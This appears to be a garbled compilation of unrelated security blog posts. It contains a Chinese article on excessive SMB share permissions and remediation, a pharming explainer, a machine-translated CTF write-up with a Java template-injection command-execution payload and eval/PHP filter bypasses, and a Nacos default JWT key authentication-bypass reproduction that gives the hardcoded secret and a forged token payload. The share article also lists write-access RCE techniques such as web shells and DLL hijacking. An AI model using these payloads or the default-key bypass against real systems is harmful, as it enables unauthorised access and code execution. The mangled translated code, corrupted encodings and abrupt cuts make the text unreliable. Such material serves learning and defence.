我們會在下一篇文章種介紹小工具2、小工具3,以及洩露URL 的其他途徑。

本文會詳細介紹如何在Active Directory環境中快速地對配置了過多權限的網絡共享進行梳理、利用和修復。過多的共享權限可能導致企業環境中的數據暴露、權限提升和勒索軟件攻擊。另外,我們還將深入探討在主流漏洞管理和滲透測試20年之後,為什麼環境網絡共享配置權限不當還一直困擾著用戶。

最後,我將分享一個名為PowerHuntShares的新開源工具,它可以幫助簡化共享查找和糾正Active Directory環境中過多的SMB共享權限。

下面總結了在大多數Active Directory環境中經常導致大規模網絡共享暴露的根本原因。

資產管理跟踪企業環境中的動態系統非常困難,跟踪不斷變化的共享庫存和所有者則更加困難。即使身份和訪問管理(IAM)團隊通過發現找到一個網絡共享,它也會產生以下問題:

1.誰擁有它?它支持哪些應用程序或業務流程?我們可以刪除高風險訪問控制條目(ACE)嗎?我們可以一起刪除共享嗎?

2.如果你有一個正常運行的配置管理數據庫(CMDB),則可以回答大多數問題。不幸的是,並不是每個人都這樣做。

損壞的漏洞管理許多漏洞管理程序從未被構建來識別那些向經過身份驗證的域用戶提供未經授權訪問的網絡共享配置。他們的重點是識別經典的漏洞(缺失的補丁、弱密碼和應用程序問題),並優先處理不需要身份驗證的漏洞,當然這並不都是壞事。

但是,根據我的觀察,業界只是在過去五年中才對Active Directory生態系統產生了濃厚的興趣。這似乎很大程度上是因為越來越多的暴露和意識到Active Directory(AD)攻擊,這些攻擊嚴重依賴於配置,而不是缺少補丁。

我也不是說IAM團隊沒有努力完成他們的工作,但在許多情況下這是團隊管理的困境。

滲透測試人員一直都知道共享是一種風險,但在Active Directory環境中實施、管理和評估最小權限是一項不小的挑戰。即使對安全社區越來越感興趣,也很少有解決方案可以有效地清點和評估整個Active Directory域或多個域的共享訪問權限。

根據我的經驗,很少有組織一開始就執行經過身份驗證的漏洞掃描,但即使是那些確實缺少常見的過度權限、繼承權限和對環境的總結數據的發現的組織,這些環境提供了大多數IAM團隊做出良好決策所需的洞見。很長一段時間以來,人們一直過度依賴這些類型的工具,因為許多公司有這樣的印象,即它們提供了比它們在網絡共享權限方面更多的覆蓋範圍。

邊界不清大多數大型環境都有主機、網絡和Active Directory域邊界,在執行任何類型的身份驗證掃描或代理部署時都需要考慮這些邊界。試圖準確盤點和評估網絡份額的公司經常錯過一些事情,因為他們沒有考慮隔離其資產的邊界。在評估資產時,請確保在這些邊界內工作。

大量使用云云技術地出現,並不意味著網絡共享會消失。公司需要花上十年的時間才能將大部分的文件存儲基礎設施遷移到雲。

理解NTFS和共享權限在過去的幾年裡,有許多與共享權限管理相關的糟糕實踐已經被吸收到IT文化中,只是因為人們不了解它們是如何工作的。造成過多共享權限的最大原因之一是通過本機嵌套組成員關係繼承權限。此問題也不限於網絡共享。十多年來,我們一直在濫用相同的權限繼承問題來訪問SQLServer實例。在下一節中,我將仔細分析這個問題。

網絡共享權限繼承盲點網絡共享只是使網絡上的遠程用戶可以使用本地文件的一種媒介,但是兩組權限控制著遠程用戶對共享文件的訪問。要了解權限繼承問題,我們可以快速回顧一下NTFS和共享權限在Windows系統上是如何協同工作的。

NTFS權限1.用於控制對本地NTFS文件系統的訪問;

2.會影響本地和遠程用戶;

共享權限1.用於控制對共享文件和文件夾的訪問;

2.只影響遠程用戶;

簡而言之,從遠程用戶的角度來看,首先審查網絡共享權限(遠程),然後審查NTFS權限(本地),但無論如何,最嚴格的權限總是勝出。下面是一個簡單示例,顯示John對共享具有完全控制權限,但對關聯的本地文件夾只有讀取權限。大多數限制性會發揮作用,所以John只能通過共享文件夾對遠程可用的文件提供讀訪問。

1.png

所以這些是基礎,最重要的想法是限制性最強的ACL獲勝。但是,有一些細微差別與繼承域組的本地組有關。為了弄清楚這一點,讓我們簡要介紹一下受影響的當地組織。

大眾大眾組織在大多數配置中為所有經過身份驗證和匿名的用戶提供訪問權限。這個組在許多環境中被過度使用,並且經常導致過度的權限。

內置\用戶默認情況下會添加新的本地用戶。當系統未加入域時,它會按照你的預期運行。

認證用戶該組嵌套在內置\用戶組中。當系統未加入域時,它不會在影響訪問方面做太多事情。但是,當系統加入Active Directory域時,AuthenticatedUsers隱含地包括“域用戶”和“域計算機”組。例如,IT管理員可能認為他們只提供對內置\用戶組的遠程共享訪問權限,而實際上他們將其提供給域中的每個人。下圖有助於說明這種情況。

2.png

這裡的教訓是,對本地和域組關係的一個小小的誤解可能會導致未經授權的訪問和潛在的風險。下一節將介紹如何梳理共享及其訪問控制列表(ACL),以便我們可以定位和修復它們。

網絡共享庫存事實證明,由於一些本地和開源工具,獲得域計算機和相關共享的快速庫存並不難。關鍵在於獲取足夠的信息來回答那些修復工作所需的人員、內容、地點、時間和方式等問題。

共享和權限的發現需要4步:

1.通過輕量級目錄訪問協議(LDAP)查詢Active Directory以獲取域計算機列表。 PowerShell命令如Get-AdComputer(Active DirectoryPowerShell模塊)和Get-DomainComputer(PowerSploit)。

2.可以在這裡提供很大的幫助。確認TCP端口445上與這些計算機的連接。 Nmap是用於此目的的免費且易於使用的工具。如果你想堅持使用PowerShell,還有幾個開源TCP端口掃描腳本。

3.使用你喜歡的方法查詢共享、共享權限和其他信息。 Get-SMBShare、Get-SmbShareAccess、Get-ACL和Get-ObjectAcl(PowerSploit)等PowerShell工具非常有用。

4.其他有助於稍後進行補救的信息包括文件夾所有者、文件計數、文件列表、文件列表哈希和計算機IP地址。你還可以在貴公司的CMDB中找到其中一些信息。 Get-ChildItem和Resolve-DnsNameSome等PowerShell命令也可以幫助收集其中的一些信息。

PowerHuntShares可用於自動執行上述任務(在最後一節中介紹),但無論你使用什麼方法,了解未經授權的共享訪問如何被濫用將有助於你的團隊確定補救工作的優先級。

網絡共享開發配置有過多權限的網絡共享可以通過多種方式被利用,但共享的性質和特定的共享權限將最終決定可以執行哪些攻擊。下面,我概述了一些最常見的攻擊,這些攻擊利用對共享的讀寫入訪問來幫助你入門。

讀取訪問權限濫用勒索軟件和其他攻擊者經常利用對共享的過度讀取權限來訪問敏感數據,如個人可識別信息(PII)或知識產權(源代碼、工程設計、投資策略、專有公式、收購信息等),他們可以利用這些數據開發、出售或勒索你的公司。此外,我們在滲透測試中發現,密碼通常以明文形式存儲,可以用於登錄數據庫和服務器。這意味著在某些情況下,對共享的讀取訪問權限可以在RCE中結束。

下面是一個簡單的例子,說明對網絡共享的過多讀訪問如何導致RCE:

攻擊者入侵域用戶。攻擊者識別web根目錄、代碼備份目錄或dev ops目錄的共享目錄。攻擊者識別以明文形式存儲的密碼(通常是數據庫連接字符串)。攻擊者使用數據庫密碼連接數據庫服務器。攻擊者使用本機數據庫功能來獲得數據庫服務器操作系統的本地管理權限。攻擊者利用共享數據庫服務帳號訪問其他數據庫服務器。

具體示例如下:

3.png

寫入訪問權限濫用寫入訪問權限提供了讀取訪問的所有好處,並且能夠添加、刪除、修改和加密文件(如勒索軟件攻擊者)。寫入訪問還提供了將共享訪問轉變為RCE的更多潛力。以下是十個更常見的RCE選項的列表:

1.將web shell寫入web根文件夾,可以通過web服務器訪問。

2.替換或修改應用程序EXE和DLL文件以包含後門。

3.將EXE或DLL文件寫入未引用的應用程序和服務使用的路徑。

4.編寫DLL到應用程序文件夾以執行DLL劫持。你可以使用由NetSPI自己的研究總監NickLanders編寫的Koppeling。

5.將DLL和配置文件寫入應用程序文件夾以執行.net應用程序的appdomain劫持。

6.在“所有用戶”啟動文件夾中寫入可執行文件或腳本,以便在下次登錄時啟動它們。

7.修改計劃任務執行的文件。

8.修改PowerShell啟動配置文件以包含後門。

9.修改MicrosoftOffice模板以包含後門。

10.編寫惡意LNK文件以捕獲或中繼NetNTLM哈希。

你可能已經註意到,我列出的許多技術也常用於持久性和橫向移動,這很好地提醒了舊技術可以有多個攻擊。

下圖是個基本的web shell示例:

1.攻擊者破壞了域用戶。

2.攻擊者掃描共享,找到wwwroot目錄,並上傳web shell。 wwwroot目錄存儲目標IIS服務器上託管的Web應用程序使用的所有文件。因此,你可以將web shell視為擴展已發布Web應用程序功能的東西。

3.使用標準Web瀏覽器,攻擊者現在可以訪問目標IISWeb服務器託管的上傳web shell文件。 4.攻擊者使用web shell訪問以作為Web服務器服務帳戶在操作系統上執行命令。

5.Web服務器服務帳戶可能具有訪問網絡上其他資源的額外權限。

4.png

下面是另一個簡化的圖表,顯示了可用於執行我列出的前10種攻擊的一般步驟。讓我們關註一下被濫用的C$部分。 C$共享是Windows中的默認隱藏共享,標準域用戶不應訪問。它映射到C驅動器,該驅動器通常包括系統上的所有文件。不幸的是,devOops、應用程序部署和單用戶錯誤配置意外或故意使C$共享在比你想像的更多環境中可供所有域用戶使用。在我們的滲透測試中,我們對加入域的系統執行了完整的SMB共享審計,並且我們發現超過一半的時間我們最終對C$共享進行寫訪問。

5.png

網絡共享修復在過度的共享修復工作中追踪系統所有者、應用程序和有效的業務案例對於IAM團隊來說可能是一個巨大的痛苦。對於大型企業而言,這可能意味著對數十萬個共享ACL進行分類。因此,在該工作期間有辦法對共享進行分組和優先級排序可以節省大量時間。

我發現成功分組的訣竅是收集正確的數據。為了確定要收集哪些數據,我們要先設置一些標準,然後確定我可以從哪裡獲得這些數據。

哪些共享有暴露風險?共享名稱:有時,僅共享名稱就可以表明暴露的數據類型,包括C$、ADMIN$和wwwroot等高風險共享。

共享文件計數:當你可能首先嘗試優先考慮高風險共享時,沒有文件的目錄可以成為優先共享修復的一種方式。

目錄列表:與共享名稱類似,共享目錄中的文件夾和文件通常可以告訴你很多有關上下文的信息。

目錄列表哈希:這只是目錄列表的哈希。雖然不是硬性要求,但它可以使識別和比較相同的目錄列表更容易一些。

誰有訪問權限?共享ACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組織進行過濾。

NTFSACL:這將有助於顯示用戶擁有哪些訪問權限,並且可以針對已知的高風險組或大型內部組進行過濾。

它們是什麼時候創建的?

文件夾創建日期:對創建日期進行分組或聚類可以揭示與過去可能引入過多共享權限的業務部門、應用程序和流程相關的趨勢。

誰創建了它們?文件夾所有者:文件夾所有者有時可以將你帶到擁有創建/使用共享的系統、應用程序或流程的部門或業務單位。

主機名:如果使用標準化命名約定,主機名可以指示位置和所有權。

他們在哪裡?計算機名稱:如果使用標準化命名約定,主機共享的計算機名稱通常可用於確定部門和位置等大量信息。

IP地址:與計算機名稱類似,子網通常也分配給執行特定操作的計算機。在許多環境中,該分配記錄在Active Directory中並且可以交叉引用。

如果我們在發現過程中收集了所有這些信息,我們可以使用它來根據共享名稱、所有者、子網、文件夾列表和文件夾列表哈希執行分組,以便我們可以識別大量可以立即修復的相關共享。

過多的權限過多的讀寫共享權限已被定義為任何網絡共享ACL,其中包含針對“所有人”、“經過身份驗證的用戶”、“內置\用戶”、“域用戶”或“域計算機”的顯式ACE(訪問控制條目)組織。由於權限繼承問題,它們都為域用戶提供了對受影響共享的訪問權限。

高風險共享如上所述,高風險共享被定義為提供對系統或應用程序的未經授權的遠程訪問的共享。默認情況下,這包括wwwroot、inetpub、c和c$共享。但是,可能存在其他未提及的風險。

網域嫁接(Pharming)概念網域嫁接(Pharming)是網絡犯罪分子用來在個人計算機或服務器上安裝惡意代碼的一種騙局。顧名思義,它是“網絡釣魚(phishing)”和“嫁接(farming)”兩個詞的混成詞,代表一種類似於網絡釣魚的新型技術,可用於操縱網站流量並竊取機密信息。

網域嫁接攻擊中涉及的惡意代碼會篡改IP地址信息,從而在用戶不知情或不同意的情況下將其誤導至虛假網站。一旦被重定向到這些虛假網站,用戶就會被提示輸入個人信息,這些信息隨後將被用於身份盜竊或金融欺詐活動。

攻擊者在執行網域嫁接攻擊時主要針對銀行或其他貨幣兌換系統的客戶。這種策略是成功的,由於它允許黑客一次滲透多個設備。此外,黑客無需說服用戶點擊可疑的電子郵件鏈接或可疑廣告。惡意代碼會自動下載,無需用戶進行任何操作。

網域嫁接運作方式網域嫁接是一種通過滲透個人計算機或毒化服務器來實施的欺騙行為。這兩種方法都使用重定向網站的代碼,但每種方法的執行方式不同。

網域嫁接究竟是如何根據具體情況來實施的呢?要了解其機制和細微差別,首先還應該了解不同類型的網域嫁接。

入侵個人計算機在這種類型的網域嫁接中,黑客會發送一封電子郵件,其中包含篡改個人計算機主機文件的代碼。一旦主機文件被滲透,黑客就可以將URL重定向到用戶打算訪問的網站的虛假版本,方法是用虛假IP地址替換合法的IP地址。即使用戶輸入了正確的URL,頁面也會重定向。這些網站能夠模仿真實網站的外觀,因此用戶可能並不知道自己已經淪為受害者。

DNS投毒或DNS緩存篡改域名系統投毒或DNS投毒(DNS poisoning,即DNS服務器緩存中的記錄被篡改)是一種更極端的網域嫁接類型。要了解這種類型的網域嫁接,您首先需要了解域名系統(DNS)及其工作原理。 DNS服務器本質上是將域名轉換成IP地址——在“人類”語言和“計算機”語言之間進行轉換。

在這種網域嫁接攻擊中,黑客攻擊的是DNS服務器,而不是滲透個人計算機上的文件。該服務器可以處理成千上萬互聯網用戶的URL請求,這就意味著每個用戶都會在不知不覺中被重定向到虛假頁面。這種大規模威脅尤為危險,因為受影響的用戶即便擁有安全且無惡意軟件的設備,也可能淪為受害者。

網域嫁接vs網絡釣魚同樣是“ph-”開頭,很多人可能難以區分網域嫁接、網絡釣魚及其他網絡攻擊。

簡單來說,網絡釣魚是一種通過發送看似合法的惡意電子郵件來獲取個人信息的技術。攻擊者需要使用推銷手段,說服用戶點擊欺詐性電子郵件中的鏈接。除了電子郵件網絡釣魚外,黑客還正在採用其他形式的通信,例如短信(即短信網絡釣魚,smishin)和語音消息(即語音釣魚,vishing)。

另一方面,網域嫁接涉及創建虛假網站以竊取個人信息。雖然網絡釣魚需要點擊欺詐性點電子郵件中的鏈接,但網域嫁接並不總是需要用戶採取手動操作——他們甚至會在不知情的情況下被重定向到這些虛假網站。

網域嫁接攻擊的跡象網域嫁接攻擊可能難以檢測,尤其是當惡意網站與原始網站幾乎一模一樣時。但是,有一些微妙的方法可以判斷您是否已淪為攻擊的受害者。需要留意的一些常見的網域嫁接跡象包括:

對鏈接或網站的細微更改攻擊者有時會在創建惡意網站時更改URL中的字母或使用更改過的圖形。如果您在訪問熟悉的網站時發現拼寫錯誤、更改過的徽標或無法識別的顏色,那麼它可能就是一個網域嫁接網站。

不安全的連接網域嫁接網站經常在URL中使用“http”而不是“https”,這表示連接不安全。如果您收到一條消息警告“您的連接不安全”,或者您在地址欄中沒有看到灰色掛鎖符號,那麼您很可能正在訪問惡意網站。

不尋常的賬戶或銀行活動攻擊者經常使用網域嫁接手段來訪問銀行賬戶及其他敏感信息。如果您發現自己的信用卡或銀行賬戶存在未經授權的活動,您可能已淪為網域嫁接攻擊的受害者。

未經授權的密碼更改如果攻擊者可以訪問您的在線帳戶的登錄信息,他們可能會更改密碼以阻止您登錄。密碼隨機更改可以很好地表明了有人入侵了您的帳戶。

不熟悉的應用程序或下載突然出現不熟悉的應用程序或軟件可能表明黑客已經獲取了您設備的訪問權限。

網域嫁接帶來的網絡安全風險網域嫁接攻擊可能會對公司和個人用戶產生嚴重影響。一些最常見的風險包括:

數據丟失攻擊者可以使用網域嫁接來訪問個人數據或其他敏感信息。這對於企業所有者或對多個帳戶使用同一密碼的人來說尤其危險。如果您懷疑攻擊者通過網域嫁接攻擊獲取了您的登錄信息,應該立即更改密碼並採取措施保護受影響的帳戶。

惡意軟件打開網域嫁接騙網站或點擊不熟悉的鏈接可能會使您的設備暴露在病毒及其他惡意軟件的面前。除非您使用可靠的防病毒檢測工具,否則您可能不會注意到該過程的發生。

金融盜竊或欺詐一旦攻擊者獲得對您賬戶的訪問權限,他們就可以使用您的信息來竊取資金或進行欺詐性購買。這對於模仿銀行或其他金融機構的欺詐網站尤為常見。

網域嫁接攻擊緩解措施雖然我們無法完全阻止網域嫁接攻擊,但下述步驟可以幫助抵禦網絡犯罪分子。

檢查URL是否拼寫正確;

確保連接是安全的;

檢查網站是否有錯別字和其他不符之處;

您認為自己是攻擊的受害者,請清除DNS緩存;

運行防病毒程序以確保您的設備安全;

您認為自己的服務器受到了威脅,請盡快聯繫您的互聯網服務提供商(ISP);

安裝VPN以確保安全的在線瀏覽。

鑑於網域嫁接和網絡釣魚等掠奪性策略日益盛行,保護自身免受各種惡意軟件攻擊比以往任何時候都更加重要。如果您採取了預防措施,並規範互聯網實踐,則可以最大限度地減少數據被惡意代碼竊取的機會。

web

input_data

The Tool https://github.com/kost/dvcs-ripperを使用します

./rip-svn.pl -u 3http://101.200.58.4:10005/.svn

.svnディレクトリをダウンロードします

次に、構造を確認し、いくつかのファイルを見つけます

1049983-20241004174649885-874008864.jpg

cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します

1049983-20241004174650809-663276795.png

フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}

admin

オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです

/;/admin

1049983-20241004174651495-30944686.jpg

次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。

次のようにペイロード

http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()

成功したコマンド実行:

1049983-20241004174652133-174386126.jpg

フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}

フラスコ

質問のソースコードは次のとおりです

フラスコのインポートフラスコから、リクエスト、応答

Reをインポートします

app=flask(__name__)

@app.route( '/')

def index():

evalme=request.args.get( 'evalme')

if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):

「ハッカー?」を返します

a=eval(evalme)

印刷(1)

f:として開いている(a、 'rb')

返信応答(f.read())

__name__=='__main __' :の場合

app.run(port=8081、debug=true)

文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。

コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]

1049983-20241004174652875-1561261817.jpg

非常に多くのフラグ

次のレイヤーファイルf1aaj.phpはソースコードにあります

Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける

1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです

?php

if(isset($ _ get ['x'])){

$ temp=$ _get ['x'];

is_numeric($ temp)? die( 'no numeric'): null;

if($ temp 9999){

echo 'pupil./br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'xはどこですか?');

}

if(isset($ _ get ['y'])){

$ md5=$ _get ['y'];

if($ md5==md5($ md5)){

Echo 'ジュニアスクールの生徒//br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'yはy?');

}

if(isset($ _ get ['z'])){

$ content=$ _get ['z'];

if(strlen($ content)=60){

die( '長い!');

}

$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];

foreach($ blacklist as $ blackitem){

if(preg_match( '/'。$ blackitem。 '/m'、$ content)){

die( 'no!no!no!');

}

}

$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];

preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);

foreach($ used_funcs [0] as $ func){

if(!in_array($ func、$ security)){

die( 'no!no!no!');

}

}

eval( 'echo'。$ content。 ';');

if(isset($ f1ag)){

if($ f1ag=='flag'){

Echo '高校生/BR';

echo 'here_is_flag !';

}

}

それ以外{

echo 'no!no!no!';

}

}

それ以外{

die( 'zはどこですか?');

}

最初の方法

最初のステップは、is_numericをバイパスして配列を使用することです

ステップ2:MD5はインターネットをバイパスし、たくさん検索します

X []=10000Y=0E215962017Z=log($ f1ag=0)

3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。

1049983-20241004174654218-291559251.jpg

または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します

1049983-20241004174700986-1030522670.jpg

その他:

情報セキュリティ競争の通知

開いた後、色を変更すると、旗が表示されます

1049983-20241004174701674-30547865.jpg

複数のエンコーディング

添付ファイル:

エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。

2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+

コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!

ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!

ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?

ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。

ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。ああ! ook。 ook? ook。

最初の段落jsfuck復号化:flag {ab71cda1

1049983-20241004174702278-1588943883.png

2つのセグメントすべてデコード:B495E13B3F21

1049983-20241004174702915-638662998.png

3番目の段落ook復号化:F6FD50221978}

1049983-20241004174703724-567341788.jpg

フラグ{AB71CDA1B495E13B3F21F6FD50221978}

bluetooth

zipを見つけてKeキーを持っているグローバル検索フラグ

1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました

1049983-20241004174705291-1547728920.jpgキーキーもあります

1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします

1049983-20241004174706446-1289494769.jpg

圧縮パッケージをエクスポートします

ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう

最初のタイプ

トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します

2番目のタイプ

関連するコマンドでトラフィックパッケージファイルを直接分離します

3番目のタイプ

トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。

知らせ

ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。

ciphertextとkey :を取得します

flag.txt:

10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797

キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222

これが暗号文とキーです

十進数六量体スクリプト

def hex(number):

hex_str=hex(number)[2:]

Len(hex_str)==1:の場合

hex_str='0' + hex_str

hex_strを返します

__name__=='__main __' :の場合

number=int(input( 'input3360'))

hex_representation=hex(number)

print(f '{number}' 16進表現は: {hex_representation} ')です。

秘密のテキスト

4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D

28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550

xor
を実行します

#暗号化された暗号文と16進文字列を定義します

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'

Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '

#ヘキサデシマル文字列をバイトオブジェクトに変換します

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

#decryptionにbyte-byte xorを使用します

#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます

decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))

#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください

#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています

print(decrypted_bytes.decode(errors='ig

HireHackking

漏洞总结复现

 Nacos漏洞总结复现



一、Nacos默认key导致权限绕过登陆

0x00 漏洞描述

Nacos中发现影响Nacos <= 2.1.0的问题,Nacos用户使用默认JWT密钥导致未授权访问漏洞。 通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户

0x01 漏洞影响

0.1.0 <= Nacos <= 2.2.0

0x02 漏洞搜索

fofa:app="NACOS"

0x03 漏洞复现

在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:

image.png

nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789

 1.获取token

利用该默认key可进行jwt构造,直接进入后台,构造方法:
在https://jwt.io/中:输入默认key:

SecretKey012345678901234567890123456789012345678901234567890123456789

然后再payload里面输入:

{

  "sub": "nacos",

  "exp": 1678899909

}

在这里注意:1678899909这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年03月15日22:11:09,在这里面的时间戳时间是3月16号了:

image.png

image.png

注意:

以下是伪造JWT值绕过权限的测试结果

1、延长时间戳,POST 密码错误,用户名正确

2、延长时间戳,POST 密码错误,用户名错误

3、删除时间戳,POST 密码错误,用户名错误

复制上面得到的值,在burp里面选择登录之后构造:

